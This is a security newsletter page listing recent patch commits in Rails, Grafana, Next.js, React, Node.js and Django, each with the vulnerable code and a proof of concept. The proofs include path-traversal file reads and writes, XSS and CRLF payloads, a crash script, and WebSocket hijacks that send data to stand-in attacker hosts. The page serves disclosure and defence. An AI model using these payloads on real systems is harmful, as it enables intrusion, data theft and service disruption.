📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Saturday, June 27, 2026

📋 Today’s Briefing

259
Total Findings
71
Confirmed CVEs
129
Verified
0
Unverified
59
False Positives
CRITICAL: 3 HIGH: 107 MEDIUM: 78 LOW: 12
71 CVE matched
56 found before CVE
2 avg lead (days)
27 max lead (days)

CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-33195 Path Traversal

Mar 23, 2026, 10:21 PM — rails/rails

Patch landed 1 hour 4 minutes after CVE published

Commit: 1a5e2f6a4140954fd99c875c362c45d15e25204c

Author: Mike Dalessio

ActiveStorage's DiskService allowed path traversal via blob keys containing segments like '../../etc/passwd'. The `path_for` method directly joined the root directory with user-controlled key values without validating that the resolved path stayed within the storage root, allowing attackers to read or write arbitrary files on the server filesystem. The patch adds validation that rejects keys with dot segments and verifies the resolved path remains within the storage root directory.

🔍 View Affected Code & PoC

Affected Code

def path_for(key) # :nodoc:
  File.join root, folder_for(key), key
end

Proof of Concept

# Attacker generates a valid signed URL with a path traversal key (e.g., by intercepting/forging a blob_key token)
# OR if the application allows custom blob keys from user input:

# Step 1: Generate a signed blob key token with traversal payload
encoded_key = ActiveStorage.verifier.generate(
  { key: "../../etc/passwd", disposition: "inline", content_type: "text/plain", service_name: "local" },
  purpose: :blob_key
)

# Step 2: Request the file via DiskController
# GET /rails/active_storage/disk/<encoded_key>/hello.txt
# DiskService#path_for("../../etc/passwd") resolves to /storage_root/xx/yy/../../etc/passwd => /etc/passwd
# Server responds with contents of /etc/passwd

# Similarly for write (direct upload):
encoded_token = ActiveStorage.verifier.generate(
  { key: "../../etc/cron.d/evil", content_type: "text/plain", content_length: 20, checksum: "...", service_name: "local" },
  purpose: :blob_token
)
# PUT /rails/active_storage/disk/<encoded_token> with malicious payload writes to /etc/cron.d/evil
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-33202 Glob Injection / Arbitrary File Deletion

Mar 23, 2026, 10:21 PM — rails/rails

Patch landed 1 hour 2 minutes after CVE published

Commit: 8fdf7da36dcf6587014bbbfed329439303c29e17

Author: Mike Dalessio

Before the patch, `DiskService#delete_prefixed` passed a user-influenced blob key directly into `Dir.glob` without escaping glob metacharacters. If a blob key contained characters like `*`, `?`, `\[`, `\]`, `{`, or `}`, the glob expansion could match and delete unintended files on the filesystem. The patch escapes all glob metacharacters in the resolved path before passing it to `Dir.glob`.

🔍 View Affected Code & PoC

Affected Code

def delete_prefixed(prefix)
  instrument :delete_prefixed, prefix: prefix do
    Dir.glob(path_for("#{prefix}*")).each do |path|
      FileUtils.rm_rf(path)
    end
  end
end

Proof of Concept

# Attacker uploads a blob with a key containing glob metacharacters:
# key = "abc*/sensitive_data"
# When Blob#delete is called, it invokes delete_prefixed with a prefix derived from this key.
# The resulting Dir.glob call becomes:
#   Dir.glob("/storage/root/abc*/sensitive_data*")
# This matches ALL directories starting with 'abc' followed by any characters,
# potentially deleting files belonging to other blobs or even other application data.

# Concrete example:
service = ActiveStorage::Service::DiskService.new(root: "/var/storage")
# If prefix = "ab*" (derived from a crafted blob key)
# Dir.glob("/var/storage/ab**") expands to match ALL files under /var/storage starting with 'ab'
# effectively wiping out all blobs whose storage path starts with 'ab'
service.delete_prefixed("ab*")  # Before patch: deletes all files matching /var/storage/ab**
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-33168 Mutation XSS (mXSS)

Mar 23, 2026, 10:21 PM — rails/rails

Patch landed 1 hour 30 minutes after CVE published

Commit: 12db70157c45a4b47a6f53ddad1217674fb2bb32

Author: Mike Dalessio

When a blank string is used as an HTML attribute name in Rails Action View tag helpers, `xml_name_escape` returns an empty string, producing malformed HTML like `&lt;img src="/safe.png" ="/onerror=alert(1)"&gt;`. This malformed HTML can be parsed differently by different HTML parsers, enabling mutation XSS attacks where a browser's HTML parser interprets the malformed attribute as executable code. The patch fixes this by skipping blank attribute keys before they are rendered into HTML.

🔍 View Affected Code & PoC

Affected Code

options.each_pair do |key, value|
  type = TAG_TYPES[key]
  if type == :data && value.is_a?(Hash)
    value.each_pair do |k, v|
      next if v.nil?

Proof of Concept

# In a Rails view, attacker-controlled data reaches tag helper:
tag("img", "src" => "/nonexistent.png", "" => "/onerror=alert(1)")
# Produces before patch: <img src="/nonexistent.png" ="/onerror=alert(1)" />
# The blank attribute name with value containing event handler can be interpreted
# by some HTML parsers as: <img src="/nonexistent.png" /onerror=alert(1)>
# triggering JavaScript execution (mXSS). Reference: HackerOne report #3078929
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-33167 XSS (Cross-Site Scripting)

Mar 23, 2026, 10:21 PM — rails/rails

Patch landed 1 hour 36 minutes after CVE published

Commit: 4df808965b4a1e42cbd4a3ad0764d30a18a5e1b1

Author: John Hawthorn

The debug exceptions layout template used `raw` to output the exception message inside a `&lt;script type="text/plain"&gt;` tag without HTML escaping. An attacker who can trigger an exception with a crafted message containing HTML/JavaScript could inject arbitrary script tags that would be rendered in the browser. The patch removes `raw` to use default ERB HTML escaping, ensuring special characters like `&lt;`, `&gt;` are escaped.

🔍 View Affected Code & PoC

Affected Code

<script type="text/plain" id="exception-message-for-copy"><%= raw @exception_message_for_copy %></script>

Proof of Concept

Trigger an exception with message: `x</script><script>alert(1)</script>` (e.g., `raise "x</script><script>alert(1)</script>"`). Before the patch, visiting the error page would execute `alert(1)` in the browser because the raw exception message closes the existing script tag and opens a new executable one. After the patch, the output is HTML-escaped as `&lt;script&gt;alert(1)&lt;/script&gt;`.

🔥 HIGH VERIFIED Broken Access Control / Privilege Escalation

Mar 20, 2026, 11:02 PM — grafana/grafana

Commit: aa672a797770c7e29cbb80875d6cd85b352e589b

Author: Tito Lins

Before this patch, the GET /api/alertmanager/grafana/config/api/v1/alerts endpoint (which returns the raw Alertmanager configuration blob, potentially containing sensitive credentials like SMTP passwords, webhook secrets, and API tokens) was accessible to any user with the broad 'alert.notifications:read' permission, which was granted to Viewers and Editors. Similarly, GET /config/history and POST /config/history/{id}/_activate were accessible to users with alert.notifications:read/write. The patch restricts these endpoints to admin-only via new fine-grained RBAC actions (alert.notifications.config-history:read/write).

🔍 View Affected Code & PoC

Affected Code

case http.MethodGet + "/api/alertmanager/grafana/config/api/v1/alerts":
    eval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)
case http.MethodGet + "/api/alertmanager/grafana/config/history":
    eval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)

Proof of Concept

As a non-admin Grafana user (Viewer or Editor role) with alert.notifications:read permission, send: GET /api/alertmanager/grafana/config/api/v1/alerts with a valid session cookie. Before the patch, this returns the full raw Alertmanager config including SMTP credentials, webhook URLs with secrets, and API keys. Example: curl -H 'Cookie: grafana_session=<viewer_session>' https://grafana.example.com/api/alertmanager/grafana/config/api/v1/alerts

⚠️ MEDIUM VERIFIED Open Redirect

Mar 19, 2026, 11:44 AM — grafana/grafana

Commit: c62113ee12932fe16cfd755319fdae721597a0ac

Author: Ezequiel Victorero

The Grafana short URL feature allowed authenticated users to create short URLs with arbitrary target paths, including external URLs like `http://evil.com` or protocol-relative URLs like `//evil.com`. When a victim clicked a Grafana short URL, they would be silently redirected to the attacker-controlled external domain. The patch adds validation at both creation time and redirect time to ensure paths are always relative and cannot contain schemes, protocol-relative prefixes, or other external URL patterns.

🔍 View Affected Code & PoC

Affected Code

// No validation of the path before storing or redirecting
shortURL, err := hs.ShortURLService.CreateShortURL(c.Req.Context(), c.SignedInUser, cmd)
// ...
c.Redirect(setting.ToAbsUrl(shortURL.Path), http.StatusFound)

Proof of Concept

1. Authenticate to Grafana as any signed-in user
2. POST /api/short-urls with body: {"path": "//evil.com/phishing-page"}
3. Receive response with a short URL like: https://grafana.example.com/goto/AbCdEfGh
4. Send this short URL to a victim - when clicked, browser follows redirect to //evil.com/phishing-page (interpreted as https://evil.com/phishing-page)

Alternatively: POST /api/short-urls with body: {"path": "http://evil.com"} to redirect to an explicit external URL.

⚠️ MEDIUM VERIFIED Authorization Bypass / Privilege Escalation

Mar 18, 2026, 11:18 AM — grafana/grafana

Commit: d46801eda3ebd32a22a2a97d96492c69d3b9b615

Author: Roberto Jiménez Sánchez

Before the patch, a resource manager could be changed directly from one manager to another (e.g., from repo:abc to terraform:xyz) in a single update operation without going through a remove-then-add workflow. This allowed one management system (e.g., Terraform) to silently take over resources managed by another system (e.g., a Git repository), potentially leading to unauthorized control over managed resources and unpredictable reconciliation conflicts. The patch adds an explicit check that blocks any update where both old and new objects have a manager set but with different values, returning HTTP 403.

🔍 View Affected Code & PoC

Affected Code

managerNew, okNew := obj.GetManagerProperties()
managerOld, okOld := old.GetManagerProperties()
if managerNew == managerOld || (okNew && !okOld) { // added manager is OK
    return nil
}

Proof of Concept

// A resource managed by repo:abc can be hijacked by terraform:xyz in one step:
// 1. GET /apis/dashboard.grafana.app/v1beta1/namespaces/default/dashboards/dashboard-uid
// 2. Modify annotations and PUT/UPDATE:
// annotations["grafana.app/manager-kind"] = "terraform"
// annotations["grafana.app/manager-identity"] = "attacker-terraform-workspace"
// PUT /apis/dashboard.grafana.app/v1beta1/namespaces/default/dashboards/dashboard-uid
// Before patch: returns 200 OK, resource is now managed by terraform instead of repo
// After patch: returns 403 Forbidden with message 'Cannot change resource manager; remove the existing manager first, then add the new one'

⚠️ MEDIUM VERIFIED Broken Access Control

Mar 17, 2026, 11:28 PM — grafana/grafana

Commit: 1c12cf19848d2b11d452c1e37502772fc5a129b9

Author: Stephanie Hingtgen

Before this patch, the Grafana Live push endpoint (`/api/live/push/:streamId`) had no RBAC authorization check, allowing any authenticated user (including Viewers) to push metrics and events to Grafana Live streams. The patch adds an `authorize(ac.EvalPermission(ac.ActionLivePush))` middleware that restricts this endpoint to users with the `live:push` permission (granted to Editors and Admins by default).

🔍 View Affected Code & PoC

Affected Code

liveRoute.Post("/push/:streamId", hs.LivePushGateway.Handle)

Proof of Concept

As a Viewer-role user with valid session credentials, send: POST /api/live/push/anystream with body `cpu usage=0.5` and a valid session cookie or API key. Before the patch, this would return HTTP 200 and successfully push data to the stream. After the patch, it returns HTTP 403.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-27977 Cross-Origin Request Forgery / Unauthorized Access to Dev Resources

Mar 17, 2026, 11:02 PM — vercel/next.js

Patch landed 7 hours 32 minutes after CVE published

Commit: b2b802c043f83b047276df48d93b76d3c742f240

Author: Zack Tanner

Before this patch, Next.js development servers only warned (but did not block) cross-origin requests to internal dev assets and endpoints (/_next/*, /__nextjs*) when `allowedDevOrigins` was not configured. An attacker could craft a malicious webpage that loads or interacts with internal dev-only resources (HMR WebSocket, error feedback endpoints, internal chunks) from any origin. The patch changes the default behavior from warn-only to blocking with a 403 response, preventing unauthorized cross-origin access to dev server internals.

🔍 View Affected Code & PoC

Affected Code

const mode = typeof allowedDevOrigins === 'undefined' ? 'warn' : 'block'
// ...
return warnOrBlockRequest(res, refererHostname, mode)
// ...
warnOrBlockRequest(res, originLowerCase, mode)

Proof of Concept

# Attacker hosts a page at https://attacker.example.com/exploit.html
# Developer is running Next.js dev server at http://localhost:3000

# The following page silently exfiltrates Next.js internal dev chunks or
# makes requests to internal endpoints without being blocked:

<html>
<body>
<script>
  // Before patch: this request succeeds with 200 (only a warning in CLI)
  fetch('http://localhost:3000/_next/static/chunks/pages/_app.js', {
    mode: 'no-cors',
    headers: { 'Sec-Fetch-Mode': 'no-cors', 'Sec-Fetch-Site': 'cross-site' }
  });

  // Or connect to HMR WebSocket to observe file changes
  const ws = new WebSocket('ws://localhost:3000/_next/webpack-hmr');
  ws.onmessage = (e) => { fetch('https://attacker.example.com/collect?d='+e.data); };
</script>
</body>
</html>

🔥 HIGH VERIFIED Authentication Bypass

Mar 17, 2026, 06:36 PM — grafana/grafana

Commit: 4eb83a7bcf5a7f4d6e9a7626a8b9deca55e0b6c4

Author: MdTanwer

The MSSQL connection string was built by directly concatenating the username and password without escaping special characters. Since semicolons are used as key-value delimiters in the connection string, a password containing a semicolon would be truncated at the semicolon, allowing authentication bypass or connection to unintended databases. For example, a password like `StrongPass;database=other` would cause the driver to parse `database=other` as a separate connection string parameter.

🔍 View Affected Code & PoC

Affected Code

connStr += fmt.Sprintf("user id=%s;password=%s;", dsInfo.User, dsInfo.DecryptedSecureJSONData["password"])

Proof of Concept

Set password to: `wrongpass;user id=sa` — the resulting connection string becomes `server=localhost;database=mydb;user id=user;password=wrongpass;user id=sa;` which causes go-mssqldb to use `sa` as the user id (last value wins in many parsers), potentially authenticating as a different user than intended. Alternatively, password=`x;database=master` redirects the connection to the master database regardless of configured database.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21724 Authorization Bypass / Privilege Escalation

Mar 17, 2026, 03:06 PM — grafana/grafana

📈 Patch landed 9 days 6 hours 25 minutes before CVE published

Commit: 329327952e9bc785fddfbd3b1f1e70d64aa42778

Author: Yuri Tseretyan

The provisioning API's `UpdateContactPoint` endpoint did not perform authorization checks for protected fields (e.g., webhook URLs, API keys) before the patch. Any user with access to the provisioning API could modify protected/sensitive fields in contact points without the required `receivers:update.protected` permission, bypassing the security controls enforced by the regular receiver API. The patch adds a `checkProtectedFields` method that verifies the user has appropriate permissions before allowing modifications to protected fields.

🔍 View Affected Code & PoC

Affected Code

func (ecp *ContactPointService) UpdateContactPoint(ctx context.Context, orgID int64, contactPoint apimodels.EmbeddedContactPoint, provenance models.Provenance) error {

Proof of Concept

A user with provisioning API access but without `receivers:update.protected` permission could send:

PUT /api/v1/provisioning/contact-points/{uid}
Content-Type: application/json
X-Disable-Provenance: true

{"uid":"existing-uid","name":"My Slack","type":"slack","settings":{"url":"https://attacker.com/steal-alerts"},"disableResolveMessage":false}

This would overwrite the protected webhook URL field without the `receivers:update.protected` permission check, allowing an attacker to redirect alert notifications to an attacker-controlled endpoint or exfiltrate alert data.

💡 LOW VERIFIED Input Validation Bypass / Size Guard Bypass

Mar 17, 2026, 10:50 AM — facebook/react

Commit: 12ba7d81297abac61012a36f20d4a9d22b9210d9

Author: Sebastian "Sebbie" Silbermann

The `$B` (Blob) case in `parseModelString` did not validate that the FormData entry was actually a Blob before returning it. Since `FormData.get()` can return either a string or a Blob/File, an attacker could craft a malformed Server Action payload that stores a large string under a key and references it via `$B`, bypassing the `bumpArrayCount` size guard that applies to regular string values. The patch adds an `instanceof Blob` check that throws an error if the backing entry is not a real Blob, closing this bypass. While the PR notes this doesn't produce meaningful amplification on its own, it is a defense-in-depth fix against potential combined attacks.

🔍 View Affected Code & PoC

Affected Code

const backingEntry: Blob = (response._formData.get(blobKey): any);
return backingEntry;

Proof of Concept

const formData = new FormData();
formData.set('1', '-'.repeat(50000)); // large string, not a Blob
formData.set('0', JSON.stringify(['$B1'])); // reference it as a Blob
await ReactServerDOMServer.decodeReply(formData, webpackServerMap);
// Before patch: returns the large string bypassing blob size guards
// After patch: throws 'Referenced Blob is not a Blob.'
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-27978 Cross-Site Request Forgery (CSRF)

Mar 17, 2026, 01:57 AM — vercel/next.js

📈 Patch landed 13 hours 32 minutes before CVE published

Commit: a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8

Author: Zack Tanner

Before the patch, when the `Origin` header was set to the string `'null'` (which browsers send from privacy-sensitive contexts like sandboxed iframes), Next.js would skip the CSRF origin check entirely because the code treated `'null'` as a missing/invalid origin and fell through without validation. This allowed an attacker to embed a sandboxed iframe that submits a Server Action cross-origin with user credentials (cookies) attached, bypassing CSRF protection. The patch now treats `'null'` as a valid but opaque origin and checks it against the `allowedOrigins` allowlist, blocking unauthorized cross-origin Server Action submissions from sandboxed contexts.

🔍 View Affected Code & PoC

Affected Code

const originDomain =
    typeof originHeader === 'string' && originHeader !== 'null'
      ? new URL(originHeader).host
      : undefined

Proof of Concept

Attacker hosts malicious page at https://evil.com with:
<iframe sandbox="allow-forms" src="https://evil.com/attack.html"></iframe>

attack.html contains:
<form method="POST" action="https://victim.com/sensitive-page">
  <input name="$ACTION_ID_abc123" value="" />
  <input type="submit" />
</form>
<script>document.forms[0].submit()</script>

Browser sends: Origin: null (opaque origin from sandboxed iframe)
Before patch: originDomain = undefined, CSRF check is skipped with only a warning, action executes with victim's cookies.
After patch: originHost = 'null', checked against allowedOrigins; since 'null' is not in allowedOrigins, request is rejected with 403/500.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-29057 Open Redirect / Server-Side Request Forgery (SSRF)

Mar 17, 2026, 01:41 AM — vercel/next.js

📈 Patch landed 14 hours 35 minutes before CVE published

Commit: 00bdb037afd7229072640fd066bc940a26d0084f

Author: Zack Tanner

The commit patches the compiled `http-proxy` / `follow-redirects` library bundled in Next.js, referencing security advisory GHSA-ggv3-7p47-pfv8. The vulnerability involves improper handling of HTTP redirects in the `follow-redirects` library, which could allow an attacker to manipulate redirect targets to leak sensitive request headers (such as Authorization) to unintended hosts or bypass security controls via crafted redirect responses. The patch updates the compiled bundle with fixes to the redirect handling logic.

🔍 View Affected Code & PoC

Affected Code

var r=e.headers.location;if(r&&this._options.followRedirects!==false&&t>=300&&t<400){this._currentRequest.removeAllListeners();this._currentRequest.on("error",noop);this._currentRequest.abort();e.destroy();if(++this._redirectCount>this._options.maxRedirects){this.emit("error",new Error("Max redirects exceeded."));return}

Proof of Concept

An attacker controls a server that returns a 301 redirect response pointing to an attacker-controlled host. When a Next.js application proxies a request with an Authorization header to the attacker's initial URL, the follow-redirects library follows the redirect and forwards the Authorization header to the attacker's second host:

1. Victim Next.js app makes request: GET https://attacker.com/step1 with 'Authorization: Bearer secret-token'
2. attacker.com/step1 responds: HTTP/1.1 301 Moved Permanently\r\nLocation: https://evil.com/collect\r\n
3. The vulnerable follow-redirects code follows the redirect and sends GET https://evil.com/collect with 'Authorization: Bearer secret-token'
4. Attacker's evil.com receives the sensitive token

This is exploitable when Next.js rewrites/proxies user-controlled or partially-controlled URLs with sensitive headers attached.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-27977 Cross-Site WebSocket Hijacking / CSRF

Mar 17, 2026, 12:42 AM — vercel/next.js

📈 Patch landed 14 hours 47 minutes before CVE published

Commit: 862f9b9bb41d235e0d8cf44aa811e7fd118cee2a

Author: Zack Tanner

Before the patch, WebSocket connections to Next.js dev server endpoints (e.g., /_next/webpack-hmr) were accepted from privacy-sensitive origins (e.g., pages served with 'sandbox' CSP that sets origin to null). The old code only blocked requests when rawOrigin was truthy AND not equal to 'null', meaning requests with origin header 'null' (sent by sandboxed iframes/pages) bypassed origin validation entirely. The patch fixes this by treating a 'null' origin as a defined but non-allowed origin, causing such requests to be blocked.

🔍 View Affected Code & PoC

Affected Code

if (rawOrigin && rawOrigin !== 'null') {
    const parsedOrigin = parseUrl(rawOrigin)
    if (parsedOrigin) {
      const originLowerCase = parsedOrigin.hostname.toLowerCase()
      if (!isCsrfOriginAllowed(originLowerCase, allowedOrigins)) {
        return warnOrBlockRequest(res, originLowerCase, mode)
      }
    }
  }
  return false

Proof of Concept

1. Attacker hosts a page at http://attacker.com/ with Content-Security-Policy: sandbox allow-scripts (causing browser to send Origin: null for requests)
2. Page contains: <script>const ws = new WebSocket('http://localhost:3000/_next/webpack-hmr'); ws.onmessage = (e) => { fetch('https://attacker.com/collect?d='+encodeURIComponent(e.data)) }</script>
3. Victim (developer) visits http://attacker.com/ while running Next.js dev server
4. Browser sends WebSocket upgrade with Origin: null header
5. Old code skips validation (rawOrigin === 'null' condition exits early), connection is accepted
6. Attacker can receive HMR messages, potentially revealing source code structure or injecting malicious HMR updates

🔥 HIGH VERIFIED Missing Authorization / Broken Access Control

Mar 16, 2026, 11:31 PM — grafana/grafana

Commit: 5c89af649b23157efba5049e3fe459e168696320

Author: Ezequiel Victorero

Before this patch, the Kubernetes API endpoints for dashboard snapshots (GET, LIST, DELETE, POST /create, DELETE /delete/{deleteKey}, GET /settings) used a default `ServiceAuthorizer` that did not enforce RBAC permissions for snapshot resources. Any authenticated user, regardless of their assigned permissions, could read, list, create, and delete snapshots. The patch adds a `SnapshotAuthorizer` that maps K8s verbs to Grafana RBAC actions (`snapshots:read`, `snapshots:create`, `snapshots:delete`) and applies RBAC checks to the custom HTTP routes as well.

🔍 View Affected Code & PoC

Affected Code

func (b *DashboardsAPIBuilder) GetAuthorizer() authorizer.Authorizer {
	return grafanaauthorizer.NewServiceAuthorizer()
}

Proof of Concept

A user with no snapshot permissions (e.g., Org role 'None') can access snapshot data:

GET /apis/dashboard.grafana.app/v0alpha1/namespaces/org-1/snapshots
  -> Returns 200 OK with snapshot list (should be 403 Forbidden)

DELETE /apis/dashboard.grafana.app/v0alpha1/namespaces/org-1/snapshots/{snapshotKey}
  -> Returns 200 OK (should be 403 Forbidden)

POST /apis/dashboard.grafana.app/v0alpha1/namespaces/org-1/snapshots/create
  Body: {"dashboard":{"uid":"existing-uid","title":"test"},"name":"stolen"}
  -> Returns 200 OK creating a snapshot (should be 403 Forbidden)

🔥 HIGH VERIFIED Broken Access Control / Insecure Direct Object Reference

Mar 16, 2026, 07:55 PM — grafana/grafana

Commit: f62299e5de8ed0a002d6ef23b8b7a839a1efa810

Author: Michael Mandrus

Public dashboard CRUD endpoints (Delete, Update, ExistsEnabledByDashboardUid) were only checking the user's role/permissions but not validating that the public dashboard being operated on belonged to the same organization as the requesting user. This allowed an authenticated user with Editor+ permissions in Org B to delete, update, or check the existence of public dashboards belonging to Org A, without having access to the source dashboard. The patch adds org_id checks to all relevant database queries to enforce org isolation.

🔍 View Affected Code & PoC

Affected Code

func (d *PublicDashboardStoreImpl) Delete(ctx context.Context, uid string) (int64, error) {
	dashboard := &PublicDashboard{Uid: uid}
	var affectedRows int64
	err := d.sqlStore.WithDbSession(ctx, func(sess *db.Session) error {
		var err error
		affectedRows, err = sess.Delete(dashboard)

Proof of Concept

# Attacker is admin in OrgB (orgId=2), wants to delete a public dashboard in OrgA (orgId=1)
# They know the dashboardUid and public dashboard uid from prior reconnaissance
curl -X DELETE http://orgb_admin:password@localhost:3000/api/dashboards/uid/orgA_dashboard_uid/public-dashboards/orgA_pubdash_uid
# Before patch: deletion succeeds because only RBAC role is checked, not org ownership
# The Delete service call was: api.PublicDashboardService.Delete(c.Req.Context(), uid, dashboardUid)
# without passing c.GetOrgID(), so the store deleted any public dashboard matching uid regardless of org

🔥 HIGH VERIFIED Use-After-Free / Memory Corruption

Mar 6, 2026, 06:01 AM — nodejs/node

Commit: a06e789625ecb46e3d6ef3e265ee15b37527c44a

Author: Gerhard Stöbich

When pipelined HTTP requests arrive in a single TCP segment, llhttp_execute() processes all of them in one call. If a synchronous 'close' event handler calls freeParser() mid-execution, cleanParser() nulls out parser state while llhttp_execute() is still on the call stack, causing use-after-free/null-pointer dereference crashes on subsequent callbacks. The patch adds an is_being_freed_ flag that causes the Proxy::Raw callback to return early (HPE_USER) when set, aborting llhttp_execute() before it accesses freed/nulled parser state.

🔍 View Affected Code & PoC

Affected Code

if (parser->connectionsList_ != nullptr) {
  parser->connectionsList_->Pop(parser);
  parser->connectionsList_->PopActive(parser);
}

Proof of Concept

const { createServer } = require('http');
const { connect } = require('net');
const server = createServer((req, res) => {
  // Synchronously emit 'close' to trigger freeParser() while llhttp_execute() is still on the stack
  req.socket.emit('close');
  res.end();
});
server.listen(0, () => {
  const client = connect(server.address().port);
  // Send two pipelined requests in one write - processed by a single llhttp_execute() call
  // When 'close' fires during first request, parser is freed while second request is still being parsed
  client.end(
    'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: keep-alive\r\n\r\n' +
    'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n'
  );
});
// Result before patch: process crashes with SIGSEGV or assertion failure due to null pointer dereference
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-25674 Incorrect Permissions / Race Condition (umask)

Mar 3, 2026, 12:09 PM — django/django

📈 Patch landed 3 hours 22 minutes before CVE published

Commit: 019e44f67a8dace67b786e2818938c8691132988

Author: Natalia

In multi-threaded Django applications, the file-based cache backend and filesystem storage used temporary umask changes (via os.umask()) to control directory permissions when creating directories. Because os.umask() is a process-wide operation, a temporary umask change in one thread could affect directory/file creation in other threads, resulting in file system objects being created with unintended (potentially overly permissive) permissions. The patch replaces the umask manipulation approach with a safe_makedirs() function that uses os.chmod() after os.mkdir() to enforce the exact requested permissions.

🔍 View Affected Code & PoC

Affected Code

old_umask = os.umask(0o077)
try:
    os.makedirs(self._dir, 0o700, exist_ok=True)
finally:
    os.umask(old_umask)

Proof of Concept

import threading, os, tempfile, time
# In a multi-threaded Django app using FileBasedCache:
# Thread A calls _createdir() which sets umask to 0o077
# Thread B simultaneously creates a file/directory expecting default umask (e.g., 0o022)
# Thread B's file ends up with permissions masked by Thread A's 0o077 umask
# Concrete example:
tmp = tempfile.mkdtemp()
def thread_a():
    # Simulates FileBasedCache._createdir() - sets umask to 0o077
    os.umask(0o077)
    time.sleep(0.01)  # holds umask while thread B runs
    os.umask(0o022)  # restore

def thread_b():
    time.sleep(0.005)  # starts after thread A changes umask
    path = os.path.join(tmp, 'upload_dir')
    os.makedirs(path, 0o755, exist_ok=True)  # intended: rwxr-xr-x
    print(oct(os.stat(path).st_mode))  # actual: 0o700 (too restrictive) due to umask 0o077

ta = threading.Thread(target=thread_a)
tb = threading.Thread(target=thread_b)
ta.start(); tb.start(); ta.join(); tb.join()
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-25673 Denial of Service (DoS)

Mar 3, 2026, 12:08 PM — django/django

📈 Patch landed 3 hours 22 minutes before CVE published

Commit: 951ffb3832cd83ba672c1e3deae2bda128eb9cca

Author: Natalia

Django's URLField.to_python() used urlsplit() to detect URL schemes, which on Windows performs NFKC Unicode normalization. This normalization is disproportionately slow for inputs containing certain Unicode characters (e.g., characters like '¾'), allowing an attacker to craft a POST payload that causes excessive CPU consumption. The patch replaces urlsplit() with str.partition(':') for scheme detection, avoiding Unicode normalization entirely.

🔍 View Affected Code & PoC

Affected Code

try:
    return list(urlsplit(url))
except ValueError:
    # urlsplit can raise a ValueError with some
    # misformatted URLs.
    raise ValidationError(self.error_messages["invalid"], code="invalid")

Proof of Concept

On Windows, send a POST request with a URLField value containing a large string of Unicode characters that trigger slow NFKC normalization:

import requests
# Craft a payload with characters that cause slow NFKC normalization
payload = {'url_field': 'http://' + '\u00be' * 50000}  # '¾' repeated 50000 times
requests.post('http://target-django-app/form/', data=payload)
# This causes urlsplit() to perform slow Unicode normalization on Windows,
# consuming excessive CPU and potentially blocking the server's worker threads.

🔥 HIGH VERIFIED HTTP Header Injection (CRLF Injection)

Mar 2, 2026, 07:10 PM — nodejs/node

Commit: acb79bca7efde3d48f36f0aaa1a16cacbcec7ae1

Author: Matteo Collina

The `path` property on `ClientRequest` was only validated against `INVALID_PATH_REGEX` at construction time. After construction, an attacker (or vulnerable application code) could reassign `req.path` to include CRLF sequences (`\\r\\n`), which would then be flushed verbatim to the socket in `_implicitHeader()`, allowing injection of arbitrary HTTP headers or request smuggling. The patch adds a getter/setter using a symbol-backed property so validation runs on every assignment.

🔍 View Affected Code & PoC

Affected Code

this.path = options.path || '/';

Proof of Concept

const http = require('http');
const req = new http.ClientRequest({ host: 'example.com', port: 80, path: '/safe', method: 'GET', createConnection: () => {} });
// After construction, mutate path with CRLF injection
req.path = '/safe\r\nX-Injected: malicious\r\nFoo: bar';
// When _implicitHeader() fires, it sends: GET /safe\r\nX-Injected: malicious\r\nFoo: bar HTTP/1.1
// This injects arbitrary headers into the outgoing HTTP request

🔥 HIGH VERIFIED CRLF Injection

Mar 2, 2026, 12:49 PM — nodejs/node

Commit: e78bf55913d5f6e505d8089514f06f3f539be05f

Author: Richard Clarke

The `writeEarlyHints()` function in Node.js HTTP server directly concatenated user-supplied header names and values into the raw HTTP/1.1 response without any validation. Unlike `setHeader()` and `writeHead()`, no calls to `validateHeaderName()`, `validateHeaderValue()`, or `checkInvalidHeaderChar()` were made, allowing CRLF sequences to pass through unchecked and inject arbitrary HTTP headers or entire responses. The patch adds proper validation for header names, values, and Link header URLs.

🔍 View Affected Code & PoC

Affected Code

const keys = ObjectKeys(hints);
  for (let i = 0; i < keys.length; i++) {
    const key = keys[i];
    if (key !== 'link') {
      head += key + ': ' + hints[key] + '\r\n';
    }
  }

Proof of Concept

const http = require('http');
const server = http.createServer((req, res) => {
  // Inject a fake Set-Cookie header via CRLF in a non-link header value
  res.writeEarlyHints({
    'link': '</style.css>; rel=preload; as=style',
    'X-Custom': 'value\r\nSet-Cookie: session=hijacked; Path=/'
  });
  res.end('hello');
});
// The raw HTTP response will contain an injected 'Set-Cookie: session=hijacked' header
// because 'value\r\nSet-Cookie: session=hijacked; Path=/' is concatenated directly into the response.
// Similarly, injecting via header name: { 'X-Foo\r\nSet-Cookie: evil=1': 'v' }

🔥 HIGH VERIFIED Information Disclosure (Uninitialized Memory Exposure)

Feb 27, 2026, 06:36 PM — nodejs/node

Commit: cc6c18802dc6dfc041f359bb417187a7466e9e8f

Author: Mert Can Altin

Before the patch, Buffer.concat() computed the total allocation size using the user-controllable `.length` property of each element, then allocated with `Buffer.allocUnsafe(length)`. For typed arrays, an attacker could spoof a larger `.length` via a getter, causing an oversized uninitialized Buffer to be returned, leaking process memory contents. The patch fixes this by using the typed array’s intrinsic byte length (`TypedArrayPrototypeGetByteLength`) and by allocating via `allocate` plus explicit zero-filling of any slack.

🔍 View Affected Code & PoC

Affected Code

for (let i = 0; i < list.length; i++) {
  if (list[i].length) {
    length += list[i].length;
  }
}
const buffer = Buffer.allocUnsafe(length);

Proof of Concept

